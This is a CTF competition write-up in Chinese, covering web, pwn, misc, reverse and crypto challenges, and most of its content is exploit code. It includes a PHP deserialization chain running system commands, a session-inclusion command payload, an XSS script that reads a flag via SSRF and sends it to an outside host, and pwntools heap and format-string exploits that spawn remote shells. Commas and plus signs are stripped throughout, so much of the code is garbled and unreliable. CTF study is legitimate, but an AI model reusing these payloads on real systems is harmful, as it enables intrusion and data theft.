纤纤素手摘星辰by月下广寒(祥云杯By天璇Merak)
纤纤素手摘星辰by月下广寒(祥云杯By天璇Merak)import requests import requests url = "http://eci-2zedk1cbvvahdw0qqutk.cloudeci1.ichunqiu.com:8888/" s = requests.session() def signup(name): signup_url = url 'signin' data = { 'username': name 'password': name } tmp = s.post(url=signup_url data=data) #print(tmp.text) def change(bucket): change_url = url "user/pr

网上现有的链子github
<?php
namespace Codeception\Extension{
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;
    class  RunProcess{
        protected $output;
        private $processes = [];
        public function __construct(){
            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output=new DefaultGenerator('jiang');
        }
    }
    echo urlencode(serialize(new RunProcess()));
}
namespace Faker{
    class DefaultGenerator
{
    protected $default;
    public function __construct($default = null)
    {
        $this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
    use Faker\DefaultGenerator;
    final class AppendStream{
        private $streams = [];
        private $seekable = true;
        public function __construct(){
            $this->streams[]=new CachingStream();
        }
    }
    final class CachingStream{
        private $remoteStream;
        public function __construct(){
            $this->remoteStream=new DefaultGenerator(false);
            $this->stream=new  PumpStream();
        }
    }
    final class PumpStream{
        private $source;
        private $size=-10;
        private $buffer;
        public function __construct(){
            $this->buffer=new DefaultGenerator('j');
            include("closure/autoload.php");
            $a = function(){system('cat /flags_c');phpinfo();    };
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);
            $this->source=$b;
        }
    }
}
安全检测
    
考虑session文件包含发现会包含url2直接多加个参数call_user_func执行命令
import requests
from requests import Response
from requests.api import head
url = "http://eci-2zefgf3p1ush1igogvo9.cloudeci1.ichunqiu.com"
s = requests.session()
username = "PD9waHAgcGhwaW5mbygpOz8 "
sessid = 'c899a0d6935a15da7e42e02b9fe0a16c'
headers={"Cookie":F"PHPSESSID={sessid}"}
data= {
    "username":username
}
res = s.post(f"{url}/login.php" json=data)
sessid= s.cookies.get_dict()['PHPSESSID']
print(sessid)
payload = f'http://127.0.0.1/admin/include123.php/?u=/tmp/sess_{sessid}&p=<?=call_user_func("s"."y"."s"."t"."e"."m" "/getf"."lag.sh");?>'
p = {
    "url1":payload
}
res = s.post(f"{url}/check2.php" data=p)
print(res.text)
res = s.get(f"{url}/preview.php")
print(res.text)
层层穿透
    
第一层是一个Apache Flink的任意jar包上传漏洞,网上有现成的复现,msf生成一个jar上传执行然后就能getshell
进入后查看/etc/hosts发现有内网环境,而且也给出了内网地址,发现内网还存在一个主机,并且开放8080端口,发现存在shiro框架,结合web.jar发现需要登录,以admin 123456登录后发现/admin/test存在json.parse结合fastjson版本可以构造json数据进行JNDI注入
长度可以添加脏数据绕过,黑名单的话是使用org.apache.shiro.realm.jndi.JndiRealmFactory触发类


题目是考察沙箱逃逸,发现zombie有vm库并且在解析script和url的时候调用
runInContext,将script内容作为第一个参数code
https://www.kitsch.live/2020/11/23/nodejs-vm沙箱逃逸/
可以使用this.constructor.constructor沙箱逃逸,本地构造构造一个html,写好对应的script

import requests
import requests
url = "http://eci-2zedk1cbvvahdw0qqutk.cloudeci1.ichunqiu.com:8888/"
s = requests.session()
def signup(name):
    signup_url = url   'signin'
    data = {
        'username': name 
        'password': name 
    }
    tmp = s.post(url=signup_url data=data)
    #print(tmp.text)
def change(bucket):
    change_url = url   "user/profile"
    burp0_url = change_url
    burp0_cookies = {"UM_distinctid": "17b3b13d148148-0b15ca7c6d5376-35607403-1aeaa0-17b3b13d149826" 
                     "CNZZDATA155540": "cnzz_eid=1910689585-1628779580-&ntime=1628784980" 
                     "connect.sid": "s:UbIPQ4BQWGBQ4Ym1FG3Eqh4c7PPKC2I5.NMUmomM4LvCfTVTOKnXRk+zZD4CnUL7vr6QYNYZGsz4"}
    burp0_headers = {"Cache-Control": "max-age=0"  "Upgrade-Insecure-Requests": "1" 
                     "Origin": "http://192.168.0.11:9999"  "Content-Type": "application/x-www-form-urlencoded" 
                     "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML  like Gecko) Chrome/92.0.4515.159 Safari/537.36" 
                     "Accept": "text/html application/xhtml xml application/xml;q=0.9 image/avif image/webp image/apng */*;q=0.8 application/signed-exchange;v=b3;q=0.9" 
                     "Referer": "http://192.168.0.11:9999/user/profile"  "Accept-Encoding": "gzip  deflate" 
                     "Accept-Language": "zh-CN zh;q=0.9"  "Connection": "close"}
    burp0_data = {"affiliation": "ichunqiu"  "age": "20" 
                  "bucket": "https://09e8195ebf97db5752c72731c7e75995.oss-cn-beijing.ichunqiu.com/"}
    tmp = s.post(burp0_url  headers=burp0_headers  cookies=burp0_cookies  data=burp0_data allow_redirects=False)
    print(tmp.status_code)
    print(tmp.headers['Location'])
    token = tmp.headers['Location'][19:]
    burp1_data = {"affiliation": "ichunqiu" 
                  "age": "20" 
                  "bucket": bucket
                  }
    tmp = s.post(burp0_url  headers=burp0_headers  cookies=burp0_cookies  data=burp1_data  allow_redirects=False)
    ver_url = url   'user/verify?token='   token
    tmp = s.get(url=ver_url)
    #print(tmp.text)
def vist():
    vist_url = url   'user/bucket'
    tmp = s.get(vist_url)
    print(tmp.text)
signup('crispr1')
chage_website = "http://47.95.219.96/test.html?a=oss-cn-beijing.ichunqiu.com"
change(chage_website)
vist()
    
访问对应的html然后监听:

进去之后发现存在admin的密码已知,进去之后调用了http-pdf库,该库存在任意文件读取漏洞,而$contents存在xss,而在这里对content进行了过滤,可以使用数组绕过,当其为数组时include()会失败,基于req.socket.remoteAddress无法绕过 因此可以利用xhr进行SSRF,来访问/api/files

可以将/etc/passwd上传到admin用户,checksum任意,然后我们利用/api/files/checksum来读取文件
先试下能不能xss发现存在xss:

那直接xhr访问127.0.0.1即可,注意ts开放在8888端口,这里被坑了很久。。。。
  <script>
    var xhr = new XMLHttpRequest();    
    xhr.open('GET'  'http://127.0.0.1:8888/api/files?username=admin&filename=/flag&checksum=be5a14a8e504a66979f6938338b0662c'  true);
    xhr.setRequestHeader('Content-type'  'application/x-www-form-urlencoded');
    xhr.send();
    var xhr1 = new XMLHttpRequest();    
    xhr1.open('GET'  'http://xxxx:3333?res=' xhr.responseText.toString() true);
    xhr1.setRequestHeader('Content-type'  'application/x-www-form-urlencoded');
    xhr1.send();
    </script>
    
访问下载flag即可
MiscChieftainsSecret通过给出的附件我们可以得到PC0-3
通过板子我们搜到一些文档,可以得到类似如下的公式
    arcs=math.asin((SIN_P[i]-SIN_N[i])/2030)
    arcc=math.acos((COS_P[i]-COS_N[i])/2030)
    
然后利用1对arcs 和 arcc来确定我们的象限。
可以得到一些角度。我们可以发现这些角度呈现一种波峰波谷的状态。
我们通过另外的脚本处理可以得到几个波峰的大致角度
200
200
270
225
160
250
180
90
150
150
200
    
通过计算我们可知大概一格是22.5度。从拨片那里开始计算角度。再加上手指的宽度以及一些误差
得到电话号
flag{77085962457}
题目比较有趣。通过Elcomfost首先可以扫到内存里有一个bitlocker加密密钥。
然后我们通过diskgenius等工具恢复flag.txt得到提示:仿真。

利用仿真制作了一个仿真系统。将几个磁盘读入进去之后,他直接显示了高级账户的密码:xiaoming_handsome
登录之后我们可以发现桌面上的便签写了一个;文档密码xiaoming1314
然后我们可以发现有一个F盘是bitlocker锁住了。通过之前的加密密钥导入可以解锁盘拿到流量包。流量包中包含有一个rar udp流直接提取即可。
密码是xiaoming_handsome里面的flag.docx密码是xiaoming1314。得到flag
给了一个内存。可以从中获取到hint是一个OneClick.exe。可以直接利用vol dump下来。之后我们开始逆向这个东西,发现他是以dot形式写了一个文件进入一个目录。我们利用虚拟机正常执行即可得到。然后我们可以发现他的word里利用010editor和正常word相比多出了一些东西。考虑可能是宏?但是一般宏会有一些特殊的opcode以及定义,考虑单纯是加密的文本,利用xortool一把锁。发现xor密钥是chr(45)得到flag
鸣雏恋题目比较简单,直接利用zip打开发现里面隐藏的文件还有一个key.txt.
当时利用phpstorm打开发现了奇怪的字符。利用零宽度隐写解密得到key。
解密压缩包10w 张图片只有2种考虑转01 ,后续有base解密图片一把梭
import os
import tqdm
import base64
result=''
for i in range(0 129488):
    filename="{}.png".format(str(i))
    if os.path.getsize(filename)==262:
        result ='0'
    else:
        result ='1'
from Crypto.Util.number import *
result=long_to_bytes(int(result 2))
while(1):
    try:
        result=base64.b64decode(result)
    except:
        print(result)
Pwnnote
    
先多申请几个chunk,格式化字符串改小top chunk 再申请,利用house of orange造出unsorted bin,再申请一个chunk利用最后一字节固定泄露基址。
然后格式化字符串修改malloc_hook为realloc 12,修改realloc_hook为one_gadget,调整栈桢打one_gadget。
from pwn import*
context(os='linux'  arch='amd64'  log_level='debug')
#r = process('./note')
r = remote('47.104.70.90' 25315)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size  con):
    r.sendlineafter('choice: '  str(1))
    r.sendlineafter('size: '  str(size))
    r.sendlineafter('content: '  con)
def say(addr):
    r.sendlineafter('choice: '  str(2))
    r.sendlineafter('say ? '  addr)
def show():
    r.sendlineafter('choice: '  str(3))
for i in range(14):
    add(0x100 "aaa")
add(0x40  "aaa")
r.recvuntil('0x')
addr = int(r.recv(12)  16)
print hex(addr)
fake_size = 0x00
fmt = fmtstr_payload(6 {addr   74: fake_size} write_size='short')
print "fmtstr_payload ==> " fmt
say(fmt)
add(0x100  'aaa')
r.sendlineafter('choice: '  str(1))
r.sendlineafter('size: '  str(0x10))
r.sendafter('content: '  '\x78')
show()
r.recvuntil('content:')
libc.address = u64(r.recv(6).ljust(8  '\x00'))-344-0x10-libc.symbols['__malloc_hook']
print hex(libc.address)
sys_addr = libc.symbols['system']
malloc_hook = libc.symbols['__malloc_hook']
realloc_hook = libc.symbols['__realloc_hook']
realloc = libc.symbols['realloc']
rr = malloc_hook-0x8
one = 0x4527a
ogg = libc.address one
tar = realloc_hook 2
tar = ogg
for i in range(6):
    off = tar&0xff
    fmt = fmtstr_payload(6 {rr i: off} write_size='byte')
    say(fmt)
    r.sendlineafter('?'  '3'*(off-1))
    tar = tar>>8
tar = realloc 12
for i in range(6):
    off = tar&0xff
    fmt = fmtstr_payload(6 {malloc_hook i: off} write_size='byte')
    say(fmt)
    r.sendlineafter('?'  '3'*(off-1))
    tar = tar>>8
sleep(0.2)
r.sendline('1')
sleep(0.2)
r.sendline('10')
r.interactive()
#flag{006c45fa-81d5-45eb-8f8c-eb6833daadf5}
JigSaw’sCage
    
第一次输入数字时存在溢出,输入0xe00000000从而通过if语句的判断并执行mprotect修改heap段为rwx
接下分别输入三段shellcode配合jmp指令执行orw
from pwn import*
context(os='linux'  arch='amd64'  log_level='debug')
#r = process('./JigSAW')
r = remote('47.104.71.220' 10273)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(idx):
    r.recvuntil('Choice :')
    r.sendline(str(1))
    r.recvuntil('Index? :')
    r.sendline(str(idx))
def edit(idx  con):
    r.recvuntil('Choice :')
    r.sendline(str(2))
    r.recvuntil('Index? :')
    r.sendline(str(idx))
    r.recvuntil('iNput:')
    r.send(con)
def delete(idx):
    r.recvuntil('Choice :')
    r.sendline(str(3))
    r.recvuntil('Index? :')
    r.sendline(str(idx))
def test(idx):
    r.recvuntil('Choice :')
    r.sendline(str(4))
    r.recvuntil('Index? :')
    r.sendline(str(idx))
def shwo(idx):
    r.recvuntil('Choice :')
    r.sendline(str(5))
    r.recvuntil('Index? :')
    r.sendline(str(idx))
r.recvuntil('Name')
r.sendline('ayoung')
r.recvuntil('Make your Choice:')
r.sendline(str(0xe00000000))
add(0)
add(1)
add(2)
add(3)
shellcode1 = '''
push 0x67616c66
push rsp
pop rdi
push 0
pop rdx
push 2
pop rax
jmp $ 0x13
'''
print (len(asm(shellcode1)))
edit(0  asm(shellcode1))
shell2 = '''
syscall
push 0
pop rax
push 3
pop rdi
push rbp
pop rsi
push 0x50
pop rdx
jmp $ 0x13
'''
print (len(asm(shell2)))
edit(1  asm(shell2))
shell3 = '''
syscall
push 1
push 1
pop rax
pop rdi
push rbp
pop rsi
push 0x50
pop rdx
syscall
'''
print (len(asm(shell3)))
edit(2  asm(shell3))
#gdb.attach(r)
test(0)
r.interactive()
#flag{58591d4d-068f-47ed-9305-a65762917b06}
PassWordBox_FreeVersion
    
第一次申请的时候拿到异或加密的值用来控制之后输入的内容
chunk a (unsorted bin)
chunk b used
chunk c used
伪造chunk c的prevsize位为chunk a b,利用off by null溢出chunk c的preinuse位,free chunk c,发生unlink造成chunk overlap,然后泄露基址再用tcache打free_hook即可。过程中需要避开tcache的影响
from pwn import*
context(os='linux'  arch='amd64'  log_level='debug')
#r = process('./pwdFree')
r = remote('47.104.71.220'  38562)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(id  len  pwd):
    r.sendlineafter('Input Your Choice:'  str(1))
    r.sendlineafter('Input The ID You Want Save:'  id)
    r.sendlineafter('Length Of Your Pwd:'  str(len))
    r.sendlineafter('Your Pwd:'  pwd)
def edit(idx  con):
    r.sendlineafter('Input Your Choice:'  str(2))
    sleep(0.1)
    r.sendline(str(idx))
    sleep(0.1)
    r.send(con)
def show(idx):
    r.sendlineafter('Input Your Choice:'  str(3))
    r.sendlineafter('Which PwdBox You Want Check:'  str(idx))
def delete(idx):
    r.sendlineafter('Input Your Choice:'  str(4))
    r.sendlineafter('Idx you want 2 Delete:'  str(idx))
def decode(str  key):
    tmp = ''
    for i in range(len(str)):
        tmp  = chr((ord(str[i]) ^ ord(key[i%8])))
    return tmp
add('AAAA'  0xf0  '\x00')
r.recvuntil('First Add Done.Thx 4 Use. Save ID:')
r.recv(32)
key = r.recv(8)
for i in range(0xe):
    add('AAAA'  0xf0  decode('B'*0xf0  key))
for i in range(7):
    delete(9-i)
delete(0)
delete(1)
for i in range(7):
    add('AAAA'  0xf0  decode('A'*0xf0  key))
add('AAAA'  0xf0  decode('B'*0xf0  key)) #8
add('AAAA'  0xf0  decode('B'*0xf0  key)) #9
for i in range(7):
    delete(i)
delete(8)
for i in range(7):
    add('AAAA'  0xf0  decode('A'*0xf0  key))
delete(9)
add('AAAA'  0xf8  decode('A'*0xf0 p16(0x200) '\x00'*0x6  key))
for i in range(4):
    delete(i)
for i in range(3):
    delete(i 5)
delete(4)
for i in range(7):
    add('AAAA'  0xf0  decode('a'*0xf0  key))
add('AAAA'  0xf0  decode('a'*0xf0  key))#7
show(8)
r.recvuntil('Pwd is: ')
addr = u64( decode((r.recv(6))  key).ljust(8 '\x00')  )
libc.address = addr-96-0x10-libc.symbols['__malloc_hook']
print 'libc_base ===> '  hex(libc.address)
free_hook = libc.symbols['__free_hook']
sys_addr = libc.symbols['system']
add('AAAA'  0xf0  decode('a'*0xf0  key))
add('AAAA'  0xf0  decode('a'*0xf0  key))
delete(12)
delete(11)
delete(8)
edit(9  p64(free_hook))
add('AAAA'  0xf0  decode('/bin/sh\x00'  key))
add('AAAA'  0xf0  decode(p64(sys_addr)  key))
delete(8)
r.interactive()
#flag{2db0e64f-afe1-44d4-9af9-ae138da7bb4b}
lemon
    
在第一个game里,输入 FFFF 即可将flag内容放到栈上
第二个game里的color功能存在堆溢出,eat功能会打印堆地址
color改地址使其指向tcache_perthread_struct并修改来构造unsortedbin,爆破stdout并泄露真实地址,同理用environ泄露栈地址,stdout打印flag。
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os
import sys
context(os='linux' arch='amd64')
context.log_level = 'debug'
# p = process("./lemon_pwn")
p = remote("47.104.70.90"  34524)
libc = ELF('./libc-2.26.so')
def chioce(idx):
    p.sendlineafter(">>>" str(idx))
def get(idx  name  size  data):
    chioce(1)
    p.sendlineafter("index of your lemon:" str(idx))
    p.sendafter("name your lemon:" name)
    p.sendlineafter("of message for you lemon: " str(size))
    p.sendafter("Leave your message:" data)
def get_err(idx  name  size):
    chioce(1)
    p.sendlineafter("index of your lemon:" str(idx))
    p.sendafter("name your lemon:" name)
    p.sendlineafter("of message for you lemon: " str(size))
def eat(idx):
    chioce(2)
    p.sendlineafter("\n" str(idx))
    try:
        p.recvuntil("eat eat eat ")
        ret =  int(p.recvline()[:-4])
        heap_addr = hex(ret)
        log.success("heap_addr : " str(heap_addr))
        return ret
    except:
        sys.stdout.flush()
        os.execv(sys.argv[0]  sys.argv)
def throw(idx):
    chioce(3)
    p.recvuntil('\n')
    p.sendline(str(idx))
def color(idx  data):
    chioce(4)
    p.sendlineafter("\n" str(idx))
    p.sendafter("\n" data)
def init(yes):
    if yes:
        p.sendlineafter("game with me?" "yes")
        p.sendlineafter("your lucky number:" "FFFF") 
        p.recvuntil("Wow  you get a reward now!")
        p.sendlineafter("name first:" "mark")
        p.recvuntil("your reward is ")
        ret = p.recv()[0:5]
        log.success("stack_name_addr :" str(hex(int(ret 16))))
        return int(ret 16)
    else:
        p.sendlineafter("game with me?" "no")
def pwn():
    flag = init(1)
    get(0 "mark" 0x240 "aaaaaaa")
    try:
        low_addr  =  str(hex(eat(0)))
        low_addr = int(low_addr[-6:-3] 16)
        low_addr *= 0x10 
    except:
        sys.stdout.flush()
        os.execv(sys.argv[0]  sys.argv)
    color(0 p64(0)*2   p64(0x100000250) "\x10" p8(low_addr))
    throw(0)
    get(0 "hacker" 0x240 p64(0x00)*4 p64(0x7000000))  # tcache_perthread_strcut
    throw(0)
    get(1 "pad1" 0x50 p8(0x00)*5 p8(0x03) p8(0x0)*2) # 3 times to stdout
    get(1 p64(0x00) '\xed\x36' 0x30 p64(0x00)) # 0x70 tcache chunk
    try:
        get(2 "stdout" 0x68 p64(0x0)*6 '\x00'*3 p64(0xfbad1800) p64(0x00)*3 '\x00')
        # gdb.attach(p)
    except:
        sys.stdout.flush()
        os.execv(sys.argv[0]  sys.argv)
    p.recvuntil("\x7f\x00\x00")
    addr  =  u64(p.recvuntil("\x7f").ljust(8 '\x00'))
    log.success("_IO_2_1_stdout_ 131 : " str(hex(addr)))
    libc_base =  addr -131 - libc.sym['_IO_2_1_stdout_']
    log.success("libc_base : " str(hex(libc_base)))
    # gdb.attach(p)
    malloc_hook = libc_base   libc.sym['__malloc_hook']
    free_hook = libc_base   libc.sym['__free_hook']
    log.success("malloc_hook : " str(hex(malloc_hook)))
    log.success("free_hook : " str(hex(free_hook)))
    p.recv()
    #throw(1)
    p.sendline("3")
    p.recvuntil('index of your lemon : ')
    p.sendline(str(1))
    environ = libc_base    0x03dd058
    log.success("environ : " str(hex(environ)))
    stdout = libc_base libc.sym['_IO_2_1_stdout_']
    log.success("stdout : " str(hex(stdout)))
    get(1 p64(0x00) p64(stdout-0x33) 0x30 p64(0x00)) # 0x70 tcache chunk
    get(2 "stdout" 0x68 p64(0x0)*6 '\x00'*3 p64(0xfbad1800) p64(0x00)*3 p64(environ) p64(environ 0x10))
    stack = u64(p.recvuntil('\x7f')[1:7].ljust(8 '\x00'))
    log.success("stack_base : " str(hex(stack)))
    flag_addr = stack&0xffffffffff000   flag
    log.success("flag_addr : " str(hex(flag_addr )))
    #throw(1)
    p.sendline("3")
    p.recvuntil('index of your lemon : ')
    p.sendline(str(1))
    get(1 p64(0x00) p64(stdout-0x33) 0x30 p64(0x00)) # 0x70 tcache chunk
    get(2 "stdout" 0x68 p64(0x0)*6 '\x00'*3 p64(0xfbad1800) p64(0x00)*3 p64(flag_addr-0x100) p64(flag_addr 0x100))
    # gdb.attach(p)
    p.interactive()
if __name__ == "__main__":
    pwn()
#flag{f578948e-8b48-494d-a11e-a97b7fbf14ee}
PassWordBox_ProVersion
- recover存在UAF,unsortedbin泄露libc
 - largebin attack改大mp.tcache_bins,制造tcache
 - tcache attack打__free_hook,改system
 - 释放binsh块,getshell
 
#coding:utf-8
from pwn import *
import subprocess  sys  os
from time import sleep
sa = lambda x  y: p.sendafter(x  y)
sla = lambda x  y: p.sendlineafter(x  y)
elf_path = './pwdPro'
ip = '47.104.71.220'
port = 49261
remote_libc_path = './libc.so'
context(os='linux'  arch='amd64')
context.log_level = 'debug'
def run(local = 1):
    global elf
    global p
    if local == 1:
        elf = ELF(elf_path  checksec = False)
        p = elf.process()
    else:
        p = remote(ip  port)
def debug(cmd=''):
    # context.terminal = []
    gdb.attach(p cmd)
    pause()
def one_gadget(filename = remote_libc_path):
    return map(int  subprocess.check_output(['one_gadget'  '--raw'  filename]).split(' '))
def str2int(s  info = ''  offset = 0):
    ret = u64(s.ljust(8  '\x00')) - offset
    success('%s ==> 0x%x'%(info  ret))
    return ret
def chose(idx):
    sla('Input Your Choice:\n'  str(idx))
def fadd(idx  size  content = '\0'*8 '\n'  ID = '\n'):
    chose(1)
    sla('Which PwdBox You Want Add:\n'  str(idx))
    sa('Input The ID You Want Save:'  ID)
    sla('Length Of Your Pwd:'  str(size))
    sa('Your Pwd:'  content)
def add(idx  size  content = '\n'  ID = '\n'):
    chose(1)
    sla('Which PwdBox You Want Add:\n'  str(idx))
    sa('Input The ID You Want Save:'  ID)
    sla('Length Of Your Pwd:'  str(size))
    sa('Your Pwd:'  key(content))
def edit(idx  content):
    chose(2)
    sla('Which PwdBox You Want Edit:\n'  str(idx))
    sleep(1)
    p.send(content)
def show(idx):
    chose(3)
    sla('Which PwdBox You Want Check:\n'  str(idx))
def free(idx):
    chose(4)
    sla('Idx you want 2 Delete:\n'  str(idx))
def recover(idx):
    chose(5)
    sla('Idx you want 2 Recover:\n'  str(idx))
def key(num):
    if num == '\n':
        return '\n'
    result = ''
    for i in [num[x:x 8] for x in range(0  len(num)  8)]:
        result  = p64(passwd^u64(i))
    return result
run(0)
fadd(0  0x628)
p.recvuntil('First Add Done.Thx 4 Use. Save ID:')
passwd = u64(p.recv(8))
add(1  0x420)
add(2  0x618)
add(3  0x420)
add(11  0x420)
add(12  0x420)
add(13  0x420)
free(0)
recover(0)
show(0)
p.recvuntil('Pwd is: ')
libc = ELF(remote_libc_path)
libc.address = str2int(key(p.recv(8))  'libc'  libc.sym['__malloc_hook'] 0x10 96)
add(4  0x638)
free(2)
attack = libc.address 0x1eb280 0x50-0x20
payload = flat(0  attack  0  attack)
edit(0  payload)
add(5  0x638)
free(11)
free(12)
free(13)
recover(13)
edit(13  p64(libc.sym['__free_hook']))
add(13  0x420)
edit(13  '/bin/sh\0')
add(14  0x420)
edit(14  p64(libc.sym['system']))
free(13)
# debug()
p.interactive()
ReDizzy
- main 函数巨大,但是可以改一下 hexray.cfg,让 IDA 反汇编
 - 伪代码如下,发现就是以 byte 为单位对输入进行操作,然后与内置的密文进行比较
 - 比较部分如下
 - 想拿 z3 跑,但是代码量太大了,没跑出来
 - 发现都是很简单的 – ^ 运算,其实直接倒推回去进行了
 - 把伪代码粘贴出来,把运算部分调整成 python 代码,保存到 code 文件里
 - 然后从后往前 exec 即可
 
python=
def change(code: str):
if “ =” in code: return code.replace(“ =”  “-=”)
elif “-=” in code: return code.replace(“-=”  “ =”)
elif “^=” in code: return code
plain = [-1]*32
plain[0] = ord(“‘“)
plain[1] = ord(“<”)
plain[2] = -29
plain[3] = -4
plain[4] = 46
plain[5] = 65
plain[6] = 7
plain[7] = 94
plain[8] = 98
plain[9] = -49
plain[10] = -24
plain[11] = -14
plain[12] = -110
plain[13] = 0x80
plain[14] = -30
plain[15] = 54
plain[16] = -76
plain[17] = -78
plain[18] = 103
plain[19] = 119
plain[20] = 15
plain[21] = -10
plain[22] = 13
plain[23] = -74
plain[24] = -19
plain[25] = 28
plain[26] = 101
plain[27] = -118
plain[28] = 7
plain[29] = 83
plain[30] = -90
plain[31] = 102
with open(“code”  “r”)as f:
lines = f.readlines()
for l in reversed(lines):
newCode = change(l.strip())
exec(newCode)
flag=’’
for i in range(32):
flag =chr(plain[i] & 0xff)
print(flag)
    
flag{Try_R3vers1ng_W1th_ScR!pt!}
勒索解密其实就是逆一个调用了大量 wincrypt 加密 api 的程序,没啥难的,就是 windows api 实在是太阴间了
首先看 main 函数,大量的初始化操作,然后调用 enc 函数,然后清零

结合上述这些操作可以猜测出题人应该是用一个结构体去管理加密过程中用到的密钥之类的东西,经过一定的尝试可以设置如下的结构体,让伪代码更直观

然后就是分析 enc 函数了。enc 函数就只传入了一个指向结构体的指针,所以只跟踪引用了这个结构体的函数就行了
这部分初始化了 key1,使用了 4 个 int,其中 3个为定值,1个为时间戳

这两个函数都引用了 结构体,跟进

发现第一个函数是解 base64编码的公钥,把公钥做 key2

第二个函数用 key2 加密了一些数据,调试发现就是 key1

后面这两个函数就是调用 key1 加密文件,然后把 加密后的文件 加密好的 key1 写到加密好的文件里

所以关键问题就是恢复 key1。因为有 key2 这一坨东西,调试并在本地复现发现 key2 是 rsa 加密,n巨大无法分解,遂放弃
后来终于注意到题目加密的是 bmp 文件,bmp 文件当然有固定的格式,而 key1 又只有一个时间戳不确定,所以爆破时间戳就行了
爆破时间戳
 void decrypt_test(void){
      DWORD32 key[4] = { 0x0EC62FB2 0x4B54D44F 0 0x8EB1E721 };
      FILE* f;
      int mode;
      fopen_s(&f  "I:\\flag.bmp.ctf_crypter"  "rb");
      BYTE* cipher=(BYTE*)malloc(0xd6830);
      memset(cipher  0  0xd6830);
      fread(cipher  sizeof(char)  0xd6830  f);
      for (int i = 1629097200; i < 1629553539; i  ) {
          HCRYPTPROV prov = NULL;
          HCRYPTHASH hash;
          HCRYPTKEY aesKey;
          DWORD length=16;
          key[2] = i;    
          BYTE head[32];
          memset(head  0  32);
          memcpy(head  cipher  16);
          if (!CryptAcquireContextA(&prov  NULL  MS_ENH_RSA_AES_PROV_A  PROV_RSA_AES  CRYPT_VERIFYCONTEXT)) {
              printf("error0\n");
          }
          CryptCreateHash(prov  0x800Cu  0  0  &hash);
          CryptHashData(hash  (const BYTE*)key  0x10u  0);
          CryptDeriveKey(prov  0x660Eu  hash  0  &aesKey);
          mode = 1;
          CryptSetKeyParam(aesKey  4u  (const BYTE*)&mode  0);
          CryptSetKeyParam(aesKey  3u  (const BYTE*)&mode  0);
          CryptDecrypt(aesKey  0  0  0  head  &length);
          if (head[0] == 'B' && head[1] == 'M') {
              cout << i;
              break;
          }
      }
  }
- 文件解密
 
void decrypt(void) {
DWORD32 key[4] = { 0x0EC62FB2 0x4B54D44F 1629098245 0x8EB1E721 };
FILE f;
int mode;
fopen_s(&f  “I:\flag.bmp.ctf_crypter”  “rb”);
BYTE cipher = (BYTE*)malloc(0xd6830);
int totalLength = 0xd6830;
DWORD blockLen = 16;
memset(cipher  0  totalLength);
fread(cipher  sizeof(char)  totalLength  f);
HCRYPTPROV prov = NULL;
HCRYPTHASH hash;
HCRYPTKEY aesKey;
if (!CryptAcquireContextA(&prov  NULL  MS_ENH_RSA_AES_PROV_A  PROV_RSA_AES  CRYPT_VERIFYCONTEXT)) {
  printf("error0\n");
}
CryptCreateHash(prov  0x800Cu  0  0  &hash);
CryptHashData(hash  (const BYTE)key  0x10u  0);
CryptDeriveKey(prov  0x660Eu  hash  0  &aesKey);
mode = 1;
CryptSetKeyParam(aesKey  4u  (const BYTE)&mode  0);
CryptSetKeyParam(aesKey  3u  (const BYTE*)&mode  0);
for (int i = 0; i < totalLength; i  = 16) {
  CryptDecrypt(aesKey  0  0  0  cipher   i  &blockLen);
}
FILE* out;
fopen_s(&out  “dec.bmp”  “wb”);
fwrite(cipher  1  totalLength  out);
printf(“”);
}
    

该驱动会释放一个dll作为客户端,然后监听进程创建和dll载入的时间,然后维护一个列表,来实现能够与加载了该dll的进程进行通讯,包括各种通讯机制RPC和DeviceIOControl等
然后该dll还会要求一个DllInjector的dll,然后调用里面的GetContentHash来算test哈希,和结果比较,发现是sha3-256,所以要写两个东西,一个是加载哪个dll的主程序,然后就是DLLInjector,得实现sha3-256,直接抄github上的源码就ok
然后就可以动调加载dll的程序,在LoadLibrary InjectDll.dll的时候下断点,在Dll的入口点断下就能调试了,发现主要的逻辑就是对AkariDll这个字符串算哈希,然后用rpc和驱动通讯算出一个值key,然后和flag一起参与加密,加密是用rand驱动的,6种加密,然后我们只需要分别逆一下这6种加密就ok,非常简单,都是异或等等,然后随便找一组数据把key的结果加密出来,和真正flag的数据组合在一起反过来用rand调用解密函数回退就能得到flag了
guess这道题给非预期了(好像),题目里面可以理解为给一个密钥某一位进行加密,并帮助解密一个密文,要求这个密文不能是上面加密的密文。解密后给出一个问题,问上面加密的密钥是奇数位还是偶数位。
首先我们不知道任何密钥,但是根据加密方式
c\equiv g^mw\ mod\ p
exp如下:
# -*- coding: utf-8 -*-
from pwn import *
import re
import random
from math import gcd
# from Crypto.Util.number import inverse
from hashlib import sha256
String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz"
def proof(known  hashcode):
    for each1 in String:
        for each2 in String:
            for each3 in String:
                for each4 in String:
                    this = each1   each2   each3   each4   known
                    if sha256(this.encode()).hexdigest() == hashcode:
                        # print(each1   each2   each3   each4)
                        return each1   each2   each3   each4
def exgcd(a  b):
    if b == 0:
        return 1  0  a
    else:
        x  y  q = exgcd(b  a % b)
        x  y = y  (x - (a // b) * y)
        return x  y  q
def invert(a p):
    x  y  q = exgcd(a p)
    if q != 1:
        raise Exception("No solution.")
    else:
        return (x   p) % p
def enc(n  g  m):
    while 1:
        r = random.randint(2  n - 1)
        if gcd(r  n) == 1:
            break
    c = (pow(g  m  n ** 2) * pow(r  n  n ** 2)) % (n ** 2)
    return c
def dec(n  g  LAMBDA  c):
    L1 = (pow(c  LAMBDA  n ** 2) - 1) // n
    L2 = (pow(g  LAMBDA  n ** 2) - 1) // n
    m = (invert(L2  n) * L1) % n
    return m
host  port = "47.104.85.225"  57811
